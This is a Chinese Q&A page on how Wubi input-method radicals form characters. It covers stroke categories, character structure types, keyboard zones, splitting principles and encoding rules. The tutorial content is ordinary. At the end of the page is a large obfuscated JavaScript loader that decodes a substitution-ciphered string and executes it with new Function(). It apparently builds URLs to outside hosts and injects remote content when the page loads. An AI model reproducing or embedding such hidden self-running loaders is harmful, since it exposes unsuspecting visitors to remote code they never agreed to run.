五笔字根怎么组成字的

2025-03-04 21:00:51
推荐回答(4个)
回答1:

那你看字根表啊,把字根表记住了,多练练就多拆拆字,自然而然就能拆字了

回答2:

和笔画一样

回答3:

就是比划咯

回答4:

五笔相关的汉字知识
从前面的讲述中我们已经知道五笔字型是一种字型编码方案,同汉字的读音是无关的,要正确使用五笔字型输入法,使用者具备一定的汉字相关知识是必须的,否则在拆字根、确定识别码等关键环节上将无法进行。
1. 汉字的笔画
从书写形态上来看汉字的笔画有:点、横、竖、撇、捺、挑(提)、钩、(左右)折等八种。
但在五笔字型编码方案方法中,汉字的笔划只归结为横、竖、撇、捺、折五种。因为"点"和"捺"两者运笔方向基本一致,所以把"点"归为"捺";把挑(提)归结于"横"类;左钩归为"竖",其他带转折的笔划都归结为"折"类。
2. 汉字的书写顺序
在书写汉字时,应该按照如下规则:先左后右,先上后下,先横后竖,先撇后捺,先内后外,先中间后两边,先进门后关门等。
3. 汉字的基本组成单位
汉字都是由笔划或部首组成的,一个汉字可以拆成一些最常用的基本单位,这个基本单位在五笔字型里就叫字根。在五笔字型编码输入方案中,选取了大约130个这种基本单位作为组字的字根。众多的汉字全部由它们组合而成。如,"明字"由"日""月"组成,"吕"字是由两个"口"组成;在这些基本字根中有些字根本身就是一个完整的汉字,例如:日月人火手等,这种字根在五笔字型里叫做"成字字根"。
4. 汉字的部位结构
基本字根按一定的方式组成汉字,在组字时这些字根之间的位置关系就是汉字的部位结构。
(1)、单体结构 由基本字根独立组成的汉字,例如:目、一、手、山等。
(2)、左右结构 左右结构的字由左右两部分或左中右三部分构成,例如:明、响、辩等。
(3)、上下结构 上下结构的字由上下两部分或自上往下几部分构成,例如:昌、旦、莒、感等。
(4)、内外结构 汉字由内外部分构成,例如:巨、匠、国、连、原、问等。
5.汉字的字型信息
在五笔字型输入法中,为获取的字型信息,把汉字字型信息分成三类:
1型: 左右部位结构的汉字,例如:明、响、构等。虽然"构"的右边"勾"是两个基本字根按内外型组合成的,但整字仍属于左右型,这种分类主要是根据汉字的偏旁部首位置来进行的。
2型: 部位结构是上下型的字,例如:昌、感、萎、巍等。同左右型一样,像"巍"这类字虽然下面的"魏"是按左右型组合成的,但整字仍是上下型。
3型: 称为杂合型。包括单体结构和内外结构的汉字,也就是没有明显下下和左右结构特点的汉字。
在使用五笔字型输入汉字时,有时只靠输入该字的字根编码还不够,还需要根据字型信息确定,例如:"叭"和"只"字,都是由"口"和"八"两个字根组成的,为了区别究竟是哪一个字还必须使用字型信息。
在成千上万的汉字中,左右型结构的汉字占的比重较大,其次就是上下型,占比例量少的是杂合型。
在所有的汉字中,我们把由两个字根组成的汉字称作双合字,由三个字根组成的汉字称作三合字,四个字根组成的汉字称四合字,由多于四个字根组成的汉字称多合字。
我们必须注意,对汉字的结构进行如此的划分,不是只对于组成汉字的部分字根而言,而是就汉字的整体轮廓来进行划分的,是指整个汉字中字根之间排列的相互位置关系。由于汉字的结构比较复杂,为更容易的掌握怎样确定多字根的汉字的类型,下面再对三种汉字结构类型进行较为详细的说明。
左右型:
在左右型汉字中,包括下面几种情况:
(1)在由两个字根组成的汉字,即双合字中,两个字根分列左右,整个汉字中有着明显的界线,并且字根间有一定的距离,如:汉、明、林、极、休等。象这类汉字,就属于左右型结构。
(2)在三合字中,组成整个汉字的三个字根从左到右排列,或者单独占据一边的一个字根与另外两个字根呈左右排列,如,辩、掰等,都属于左右型结构。
(3)在四合字或多合字中,组成整个汉字的若干字根很明显地分成左右两部分,无论左右那一边字根数多,都将这种汉字定为左右类结构的汉字,如,械、讹、键等。
上下型:
上下型汉字也包括几种情况:
(1)在双合字中,两个字根的位置是上下的关系,这两个字根之间有着明显的界线,且有一定的距离,如,节、个、字、另等。
(2)在三合字中,三个字根也是分成两个部分,虽然其中一个部分的字根数要多一些,但两个部分仍然是上下两层的位置关系,这样的字如:意、花、怒、想等。
(3)组成四合字或多合字的字根也明显地分成上下两部分,则无论是上半部分字根数多一些或是或是下半部分字根数多一些,这样的汉字也属于上下结构型汉字,如;赢、离、聚等。
杂合型:
杂合型汉字包括单体,内体,包围三种类型,指组成整字的各个字根之间没有简单明确的左右或上下型关系,如:因、周、半、太等,象这样的汉字,字根之间都是内外或包围的关系。
在五笔字型汉字结构的划分中,必须着重注意下面几个约定:
(1)凡单笔画与字根相连者或带点结构都视为杂合型。
(2)汉字结构区分时,也要按"能散不连"的原则来进行。如"矢、卡、严"都视为上下型。
(3)含两字根且相交者属杂含型,如"乐、串、电、本、无、农"。
(4)下含"走之"字为杂合型,如"进、过,遂"等。
(5)以下各字为杂合型:司、床、厅、龙、尼、式、后、处等,但相似的右、左、有、布、灰等可视上下型。
五笔字型的键盘设计
由于五笔字型汉字编码方案中有130多个基本汉字单位,也就是有130多个字根,但计算机键盘没有这么多,且有很大一部分是功能或数字键,真正的字母键有26个。所以必须精心安排这130多个字根在键盘上的分布。因为键盘安排的优劣,很大程度地影响着汉字输入的速度、效率,也影响着方法的易学易用性。
一、键盘的分区
在五笔字型编码方案中,只使用了26个英文字母键,除了字母z作为学习键外,其余25个字母都作为基本编码用。并且按五笔对汉字笔画的分类(即横、竖、撇、捺、折),将键盘上的所使用的25个字母键分成了五个区,再根据字根的第一笔的类型,将所有有130多个基本字根分成五个部分,对应到每一个区上的各个键上,下面就是25个字母键的五个区的划分:
第一区:G F D S A
第二区:H J K L M
第三区:T R E W Q
第四区:Y U I O P
第五区:N B V C X
二、基本字根在键盘上的分布
在上面的讲述中,我们曾提到过五笔字型编码方案中,将键盘上的二十五个字母键分成五组,即五个区,每个区为了进一步区分开来,又分为五个位,然后将130多个基本字根按起笔分布在这五个区25个位(即25个键)中,每个键位平均5-6个基本字根。
在同一个键位上的几个基本字根中,选择一个具有代表性的字根,称为键名字根。五笔编码键盘图中各个键位左上角的字根就是键名字根,下面是键名字根与各字母的对应表:
第一区:区号为1,横起笔,各键键名为:王土大木工
对应键为:G F D S A,位号分别为1、2、3、4、5
第二区:区号为2,竖起笔,各键键名为:目日口田山
对应键为: H J K L M ,位号分别为1、2、3、4、5
第三区:区号为3,撇起笔,各键键名为:禾白月人金
对应键为: T R E W Q ,位号分别为1、2、3、4、5
第四区:区号为4,捺起笔,各键键名为:言立水火之
对应键为:Y U I O P ,位号分别为1、2、3、4、5
第五区:区号为5,折起笔,各键键名为:已子女又纟
对应键为:N B V C X ,位号分别为1、2、3、4、5
另外,每区的第一个字母键,又作为基本笔画的字母代码,即G代表横,H代表竖,T代表撇,Y代表捺,N代表折,这种字母代码与前面所说过的数字码相对应,主要作构成识别码用。
基本字根在键盘的分布还可以参见下面的五笔字型字根图,

(86版字根图)
三、字根在键盘上分布的助记特征
在五笔字型编码方案中,字根在键盘上的分布是有规律的,大部分都可以在音、形、义上有相近的地方,概括起来,下面的一些分布特征有助于我们学习记忆。
1、除了字根的第一个基本笔画的代号与这个字根所在键盘分区的"区号"保持一致外,相当一部分字根的第二笔代号与该字根所在键的"位号"相一致。
如,王,戋等它们的第一笔为横,代号1与所在区号一致,第二也是横,代号仍为1,与其所有键有位号一致。因此,这些字根的区位号为11,字根代码G;又如:文、方、广,它们的首笔是捺,代号为4,次笔是横,代号为1,所以它们的区位号为41,字根代码为Y。
2、与键名字根形态相似或相近,如:"王"字键上,有"五,戋"等字根,"日"字键上有"虫、早"等字根。
3、键位代码还表示了组成字根的单笔画的种类和数目,即位号与各键位上的复合散笔字根的笔画数目保持一致。如:点的代号为4,哪么41代表一个点"、",42代表两点水"",43代表三点水,44代表四点脚等等。依次类推,一个横"一"一定在11区,"二"一定在12键上,三个横"三"一定在13键上。
掌握了以上三个字根在键盘上的分布特征,整个字根的键位表是较容易熟悉的。
对于哪些与键面上的主要字根属于同种类型的次要字根,一是稍加熟悉进行联想;二是使用练习软件加强记忆。要记住字根,还可以依靠口诀,但更重要的是要常做拆字练习,拆的字多了,就可以牢固的记住各个字根据在键位。
笔字型编码的汉字拆分原则
由基本字根组成一个汉字,这是一个正过程,这个过程对我们没有什么影响。我们学习的是逆过程。即将一个完整的汉字拆分成若干个基本字根。
五笔字型编码方案拆字的基本原则可概括为下面几种情况:
一、单字根汉字
这种汉字就是我们所说的成字字根。由于这种汉字只有一个基本字根,所以不用再拆,这类汉字的拆分有单独规定,在下一节中会详细讲述。

二、散结构的汉字
由于组成这种汉字的字根之间没有什么关联。各部分相对独立,所以拆分时只需要简单地将这些字根孤立出来就行,这类汉字的拆分也相对简单。如"只"的字根是"口"和"八"。 "数",这个字的字根是"米" "女" "文"。
三、交叉结构或交连混合结构的汉字
这类汉字如果一个汉字只是由单笔画与基本字根相连组成,哪么就可以将这个汉字直接拆份成单笔画和基本字根即可,如:"上"可以拆分为"卜""一","太"可以分为"大"和"、"。
四、复杂结构的汉字
除此之外,更多的的汉字是哪些结构较复杂的,这些汉字由于组成字根之间有相连,包含或嵌套的关系,没有很明显的界限,对于初学者来说,难以拆分。对这样的汉字,拆分时要按以下原则进行,也就是"取大优先"、"兼顾直观"、"能连不交"、"能散不连"。
书写顺序:
拆分"合体字"时,一定要按照正确的书写顺序进行。
例:"新"只能拆成"立、木、斤",不能拆成"立、斤、木" "中"只能拆成"口、丨",不能拆成"丨、口";"夷"只能拆成"一、弓、人",不能拆成"大、弓"。
取大优先:
也叫做"优先取大"。按书写顺序拆分汉字时,应以"再添一个笔画便不能成其为字根"为限,每次都拆取一个"尽可能大"的,即尽可能笔画多的字根。
例1:"世"字:第一种拆法:一、凵、乙(误)第二种拆法:廿、乙(正)显然,前者是错误的,因为其第二个码元"凵",完全可以向前"凑"到"一"上,形成一个"更大"的已知码元"廿"。
例2:"制"字:第一种拆法:、一、冂、丨、刂(误)第二种拆法:、冂、丨、刂(正)同样,第一种拆法是错误的。因为第二码的"一",作为""后一个笔画,全可以向前"凑",与第一个码元""凑成"更大"一点的码元""。
总之,"取大优先",俗称"尽量往前凑",是一个在汉字拆分中最常用到的基本原则。至于什么才算"大","大"到什么程度才到"边",这要等熟悉了字根总表,便不会出错误了,所以熟悉字根表非常关键。
兼顾直观:
在拆分汉字时,为了照顾汉字码元的完整性,有时不得不暂且牺牲一下"书写顺序"和"取大优先"的原则,形成个别例外的情况。
例1:国:按"书写顺序"应拆成:"冂、王、丶、一",但这样便破坏了汉字构造的直观性,故只好违背"书写顺序",拆作"囗、王、丶"了。
例2:自:按"取大优先"应拆成:"亻、乙、三",但这样拆,不仅不直观,而且也有悖于"自"字的字源(这个字的字源是"一个手指指着鼻子")故只能拆作"丿、目",这叫做"兼顾直观"。
能连不交:
请看以下拆分实例:于:一十(二者是相连的)、二丨(二者是相交的)丑:乙土(二者是相连的)、刀二(二者是相交的)。当一个字既可拆成相连的几个部分,也可拆成相交的几个部分时,我们认为"相连"的拆法是正确的。因为一般来说,"连"比"交"更为"直观"。
能散不连:
笔画和字根之间,字根与字根之间的关系,可以分为"散"、"连"和"交"的三种关系。如:倡:三个字根之间是"散"的关系;自:首笔"丿"与"目"之间是"连"的关系;夷:"一"、"弓"与"人"是"交"的关系。字根之间的关系,决定了汉字的字型(上下、左右、杂合)。
1)、几个字根都"交""连"在一起的,如"夷"、"丙"等,便肯定是"杂合型",属于"3"型字,不会有争议。而散根结构必定是"1"型或"2"型字。
2)、值得注意的是,有时候一个汉字被拆成的几个部分都是复笔字根(不是单笔画),它们之间的关系,在"散"和"连"之间模棱两可。如:占:卜口两者按"连"处理,便是杂合型(3型)。两者按"散"处理,便是上下型(2型正确)。严:一厂后两者按"连"处理,便是杂合型(3型)后两者按"散"处理,便是上下型(2型正确)。当遇到这种既能"散",又能"连"的情况时.我们规定:只要不是单笔画,一律按"能散不连"判别之。因此,以上两例中的"占"和"严",都被认为是"上下型"字(2型)。
3)、作为以上这些规定,是为了保证编码体系的严整性。实际上,用得上后三条规定的字只是极少数。
五笔字型单字编码规则
一、五笔字型编码歌诀
掌握汉字的编码规则,熟悉每个汉字的编码,是五笔字型输入的基础,下面提供的单个字的五笔字型编码规则歌忘记诀:
五笔字型均直观,依照笔顺把码编;
键名汉字打四下,基本字根请照搬;
一二三末取四码,顺序拆分大优先;
不足四码要注意,交叉识别补后边。
从这歌诀就可以看出五笔字型编码规则的大致面貌,同时口诀也概括了五笔字型拆字取码的五项原则:
1、从形取其顺序按书写规则,即从左到右、从上到下、从外到内;
2、以130多个字根为基本单位;
3、对于字根数超过四个的汉字,按一二三末字根的顺序,最多只取四码;
4、单体结构拆分取大优先;
5、末笔与字型交叉识别。
下图是五笔字型编码流程图,以方便读者了解整个编码方案的概貌:

二、键名汉字的编码规则
五笔字型中规定的键名汉字共有25个,"王土大木工目日口田山禾白月人金言立水火之已子女又纟"
25个键名汉字与25个字母键相应,这些字的编码相当简单,它们的编码就是4个所在字母键字母,如:"言"字的编码为"YYYY","纟"字的编码为"XXXX",等等。输入键名汉字时,只要连续击四次该字所在的字母键即可。

三、成字字根的编码规则
在五笔字型字根键盘的每个字母键上,除了一个键名字根外,还有一些其它类型的字根。有些字根其本身就是一个汉字,这样的字根称为成字字根。成字字根的编码是按下面公式进行的:
键名码+首笔码+次笔码+末笔码
当成字字根仅为两笔时,编码只有三码,公式为:
键名码+首笔码+末笔码
例如:"石",字根所在的键为D,第一笔划为 "横"的编码是G,第二笔为 "撇"的编码是T键,末笔"横"的编码也是G键,所以这个字的五笔编码就是DGTG。再比如"虫"字,这个字根是在J键,第一笔是竖H,第二笔是折N,最末一笔是捺(在五笔里"点"做为"捺")Y,所以"虫"的五笔编码就是JHNY。
四、键外字的编码规则
国标GB2312-80中,上述的键名和成字字根这样的键面字总共才有一百多个,绝大部分汉字都不是成字字根,这些才是我们在使用当中用得最多的。
五笔字型汉字编码主要是键外字的编码,编码可以分为两类,纯字根码和识别码。如果一个汉字的字根是四个或超过四个,就用前三后一总共四个字根码组成编码。
不足四个字根的汉字需补一个字型结构识别码,以增加区分汉字的信息量。
1、字根码
每个字根都分派在一个字母键上,其所在键上的英文就是该字根的"字根码"。
凡含四个或超过四个字根的汉字,取其第一、二、三、末四个字根码组成键外字的输入编码。
第一字根编码+第二字根编码+第三字根编码+最末一个字根编码
这里一、二、三、末应按正常书写顺序,先左后右,先上后下,先外后内。
2、交叉识别码
一个字的字根不足四个时,依次击入字根码后,最后需要补一个识别码。为什么需要这个识别码呢,这里可以举例说明:如"沐"和"汀"字,这两个字都是由两个字根组成的,且这两个字的字根码都是IS。虽然也可以让输入者选择的方式来确定到底需要输入哪一个字,但这对汉字输入速度极为不利,重码率要越低越好,所以五笔编码中才引入了识别码这个概念来对这类汉字进行区分。
识别码是用该汉字最后一个笔画和字型结构信息来确定的,具体规则如下表:
左右结构(第1位) 上下结构(第2位) 杂合结构(第3位)

末笔是"横",在一区 G F D

末笔是"竖",在二区 H J K

末笔是"撇",在三区 T R E

末笔是"捺",在四区 Y U I

末笔是"折",在五区 N B V

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();